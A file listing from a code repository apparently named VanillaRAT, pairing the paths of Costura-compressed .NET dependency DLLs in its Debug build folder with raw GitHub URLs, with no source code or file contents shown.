--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C.costura.system.net.http.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C.costura.system.net.http.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/20AEAED12DFB8D71E39687350EB12BC0DE372AF0.costura.system.componentmodel.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/20AEAED12DFB8D71E39687350EB12BC0DE372AF0.costura.system.componentmodel.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/2CB934305D3648FF29FDBC7D92485003F8458848.costura.system.net.nameresolution.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2CB934305D3648FF29FDBC7D92485003F8458848.costura.system.net.nameresolution.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/2CB98F9622F57A0A9E037A378519AA6A271302F6.costura.system.globalization.extensions.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2CB98F9622F57A0A9E037A378519AA6A271302F6.costura.system.globalization.extensions.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/2E32D50EC33EC6635681485B754F4E58D434A5EE.costura.system.componentmodel.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2E32D50EC33EC6635681485B754F4E58D434A5EE.costura.system.componentmodel.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A.costura.system.runtime.interopservices.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2E6A3047BD3BCEE01F55D139A3C03E6D4D2DB14A.costura.system.runtime.interopservices.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA.costura.system.diagnostics.process.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA.costura.system.diagnostics.process.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/311F52B31611E6DC5FD4C0159BFA452C22980CA7.costura.system.collections.concurrent.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/311F52B31611E6DC5FD4C0159BFA452C22980CA7.costura.system.collections.concurrent.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/33AC74D6E549026736CBD35D466E7ABECDEAFB81.costura.streamlibrary.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/33AC74D6E549026736CBD35D466E7ABECDEAFB81.costura.streamlibrary.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/33D1EBD7212D747C8723CFB9E4292C99A641B964.costura.system.reflection.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/33D1EBD7212D747C8723CFB9E4292C99A641B964.costura.system.reflection.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/3946DFF0B68F0CA01689BD44C348559ADF548258.costura.system.text.encoding.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/3946DFF0B68F0CA01689BD44C348559ADF548258.costura.system.text.encoding.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC.costura.system.reflection.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/3CA31DE7F0F0784559E5A73EBD0EFB42C34D18FC.costura.system.reflection.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/474944856DB781A34796BFCCE18ECD4580275AD1.costura.system.io.unmanagedmemorystream.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/474944856DB781A34796BFCCE18ECD4580275AD1.costura.system.io.unmanagedmemorystream.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/48F227C62B2001C441BCBC5B570911F096DDF421.costura.system.io.isolatedstorage.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/48F227C62B2001C441BCBC5B570911F096DDF421.costura.system.io.isolatedstorage.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7.costura.system.net.websockets.client.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7.costura.system.net.websockets.client.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/498F0FBBD2712F4F637BDB7370B2302FCC4966F3.costura.system.resources.reader.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/498F0FBBD2712F4F637BDB7370B2302FCC4966F3.costura.system.resources.reader.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/4D4AE0D2664025327F28400D917CC59AFD69F33A.costura.system.linq.parallel.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/4D4AE0D2664025327F28400D917CC59AFD69F33A.costura.system.linq.parallel.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148.costura.system.collections.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148.costura.system.collections.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/4D93C7D7E6315CA2195ED73716996ADE8E17FBB2.costura.system.linq.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/4D93C7D7E6315CA2195ED73716996ADE8E17FBB2.costura.system.linq.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/5042EE630A6C7C2986E8323A14D052C1D83B6F61.costura.system.diagnostics.contracts.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5042EE630A6C7C2986E8323A14D052C1D83B6F61.costura.system.diagnostics.contracts.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/51E466218025126C5E524AFD2086F4AB0BF3660A.costura.system.diagnostics.tools.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/51E466218025126C5E524AFD2086F4AB0BF3660A.costura.system.diagnostics.tools.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/526C688E71A7D7410007AD5AA6EA8B83CACE76C5.costura.system.collections.nongeneric.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/526C688E71A7D7410007AD5AA6EA8B83CACE76C5.costura.system.collections.nongeneric.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/5627E53D15E56868DC9082EDCAE5A653B96B9AF1.costura.system.linq.expressions.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5627E53D15E56868DC9082EDCAE5A653B96B9AF1.costura.system.linq.expressions.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/584B8683943A8E0AE98B10F452C94F6109D1C4EA.costura.system.runtime.handles.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/584B8683943A8E0AE98B10F452C94F6109D1C4EA.costura.system.runtime.handles.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/59FEB2AF0BE9EC4CCEC2125D2383E3E282F428A7.costura.costura.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/59FEB2AF0BE9EC4CCEC2125D2383E3E282F428A7.costura.costura.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/5AC34F02482BC2228F1175B9F3727C54F6B0A705.costura.dnlib.pdb.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5AC34F02482BC2228F1175B9F3727C54F6B0A705.costura.dnlib.pdb.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/5E4158533532A27E03D0CCC9A0AF5E89FFFD8637.costura.system.net.security.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5E4158533532A27E03D0CCC9A0AF5E89FFFD8637.costura.system.net.security.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5.costura.system.threading.timer.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5EA3F290ECDE1BAB983CEEE2417A688B7ED9B7F5.costura.system.threading.timer.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5.costura.system.componentmodel.eventbasedasync.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5.costura.system.componentmodel.eventbasedasync.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/609F31B98831327677E89E08BFF7D7322BA0F4A4.costura.system.io.compression.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/609F31B98831327677E89E08BFF7D7322BA0F4A4.costura.system.io.compression.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/6523838EF4AAB39D0D3C0DF11C28ADA449EDD592.costura.system.net.webheadercollection.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/6523838EF4AAB39D0D3C0DF11C28ADA449EDD592.costura.system.net.webheadercollection.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/68C240D1A43DE1678EF13107B9300C544E9D5E4E.costura.system.io.filesystem.watcher.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/68C240D1A43DE1678EF13107B9300C544E9D5E4E.costura.system.io.filesystem.watcher.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/68E1AF02CDDD57B5581708984C2B4A35074982A3.costura.netstandard.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/68E1AF02CDDD57B5581708984C2B4A35074982A3.costura.netstandard.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/7A6276348D85EAF00AE6958117797045929078CB.costura.system.runtime.compilerservices.visualc.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7A6276348D85EAF00AE6958117797045929078CB.costura.system.runtime.compilerservices.visualc.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14.costura.system.data.common.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14.costura.system.data.common.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/7B249C6390DFC90EF33F9A697174E363080091EF.costura.microsoft.win32.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7B249C6390DFC90EF33F9A697174E363080091EF.costura.microsoft.win32.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0.costura.system.runtime.extensions.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7D71B46BB9A28289384AA1EDF5CB03D64B3BCFF0.costura.system.runtime.extensions.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/7FE773332D0461A252E52BE720A7794FCAAC7BFB.costura.system.text.encoding.extensions.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/7FE773332D0461A252E52BE720A7794FCAAC7BFB.costura.system.text.encoding.extensions.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/82BA1313448B431893C14D866F46D47B620514A9.costura.system.security.principal.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/82BA1313448B431893C14D866F46D47B620514A9.costura.system.security.principal.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/846711D4161A3950FACDEF97037898A71F4EFDA1.costura.system.globalization.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/846711D4161A3950FACDEF97037898A71F4EFDA1.costura.system.globalization.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/87C352153804FF5BD4F8AEF8851546F3CF22461E.costura.system.runtime.serialization.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/87C352153804FF5BD4F8AEF8851546F3CF22461E.costura.system.runtime.serialization.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/87ED79D195D8D93AE1155AF08857F751A7ECA245.costura.system.diagnostics.tracing.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/87ED79D195D8D93AE1155AF08857F751A7ECA245.costura.system.diagnostics.tracing.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/8A2FB74CF11719708774FC378D8B5BFCC541C986.costura.system.objectmodel.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/8A2FB74CF11719708774FC378D8B5BFCC541C986.costura.system.objectmodel.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/8BBB7BADAAA912C1F17775E9ACDCAB389704C772.costura.system.collections.specialized.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/8BBB7BADAAA912C1F17775E9ACDCAB389704C772.costura.system.collections.specialized.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/90E196DCD76168F770ABE30098399BC5866ADF1B.costura.system.xml.xpath.xdocument.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/90E196DCD76168F770ABE30098399BC5866ADF1B.costura.system.xml.xpath.xdocument.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/92BF07CCF32EB9FDF06F446A256E0271C4028BF0.costura.system.io.compression.zipfile.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/92BF07CCF32EB9FDF06F446A256E0271C4028BF0.costura.system.io.compression.zipfile.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/93702135DB0646B893BABE030BD8DC15549FF0C2.costura.system.appcontext.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/93702135DB0646B893BABE030BD8DC15549FF0C2.costura.system.appcontext.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/95699D187BF150D319CC64F90064301CAC57F338.costura.system.security.cryptography.algorithms.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/95699D187BF150D319CC64F90064301CAC57F338.costura.system.security.cryptography.algorithms.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/96314EC1A59E4BB53C5B609BF79AD4C998A7A988.costura.system.diagnostics.tracesource.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/96314EC1A59E4BB53C5B609BF79AD4C998A7A988.costura.system.diagnostics.tracesource.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/97B62A3DBE2465B4C995E082AD6FF183F6267F59.costura.system.security.claims.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/97B62A3DBE2465B4C995E082AD6FF183F6267F59.costura.system.security.claims.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/9A66414D9D5C26852F44A7954C97B8416A244C7A.costura.darkui.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/9A66414D9D5C26852F44A7954C97B8416A244C7A.costura.darkui.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0.costura.system.console.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0.costura.system.console.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/A00954217CA326C54A863D451820263A6D7EE1AF.costura.system.io.pipes.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A00954217CA326C54A863D451820263A6D7EE1AF.costura.system.io.pipes.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/A181F5CC93E9273D9169A9954A74D73BC1852980.costura.system.linq.queryable.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A181F5CC93E9273D9169A9954A74D73BC1852980.costura.system.linq.queryable.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/A674C009A518FA67643E617EEC6BA54632EE876B.costura.dnlib.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A674C009A518FA67643E617EEC6BA54632EE876B.costura.dnlib.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/A67FDACEB10E828805A9E24FE0C59E1D73D19A7C.costura.system.security.cryptography.csp.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A67FDACEB10E828805A9E24FE0C59E1D73D19A7C.costura.system.security.cryptography.csp.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/A69238054BEE26063D32B85B797BC4E0C49F79D4.costura.system.security.cryptography.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A69238054BEE26063D32B85B797BC4E0C49F79D4.costura.system.security.cryptography.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0.costura.system.io.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0.costura.system.io.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/A994C87352486D433A06943C01329DD721AB343F.costura.system.dynamic.runtime.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/A994C87352486D433A06943C01329DD721AB343F.costura.system.dynamic.runtime.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/AD55AF22E5479A5ADDF01D698138E5149270E3CF.costura.system.net.networkinformation.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/AD55AF22E5479A5ADDF01D698138E5149270E3CF.costura.system.net.networkinformation.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/B0A8868D459FE0AF34D16C263CFE0202C414DC53.costura.system.security.cryptography.x509certificates.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B0A8868D459FE0AF34D16C263CFE0202C414DC53.costura.system.security.cryptography.x509certificates.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/B1756DC750ED5CFD5D0BFC70CB899FD590867A0C.costura.system.resources.writer.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B1756DC750ED5CFD5D0BFC70CB899FD590867A0C.costura.system.resources.writer.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/B219DD45550762B54DAB46533D489C4755F55E0E.costura.system.net.primitives.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B219DD45550762B54DAB46533D489C4755F55E0E.costura.system.net.primitives.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/B56C3D2E270B1C793A2EE17CAC9C98B178258E94.costura.system.net.requests.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B56C3D2E270B1C793A2EE17CAC9C98B178258E94.costura.system.net.requests.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/B6B8986FC1B5140817DE262AE4102499E37DAFFD.costura.system.runtime.serialization.formatters.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B6B8986FC1B5140817DE262AE4102499E37DAFFD.costura.system.runtime.serialization.formatters.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/B81FF87B407578EFBF184BDC10D0F101610379DB.costura.system.runtime.numerics.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/B81FF87B407578EFBF184BDC10D0F101610379DB.costura.system.runtime.numerics.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC.costura.system.xml.xmlserializer.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BBBB4C2C3911AE1F5BA7FAF1D632ED0F14D9B6AC.costura.system.xml.xmlserializer.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3.costura.system.threading.overlapped.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BF2C1287F0EC04223CD17FE20AB2ECFFF18579E3.costura.system.threading.overlapped.dll.compressed
--------------------------------------------------------------------------------
/VanillaRat/obj/Debug/Costura/BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A.costura.system.resources.resourcemanager.dll.compressed:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/dhuinda/VanillaRAT/8c45002615595d4412da56e94d7be9b81ac85caa/VanillaRat/obj/Debug/Costura/BF83A7E98418BDE907DEAE8C0C0F3FB0F6C9DB1A.costura.system.resources.resourcemanager.dll.compressed
--------------------------------------------------------------------------------
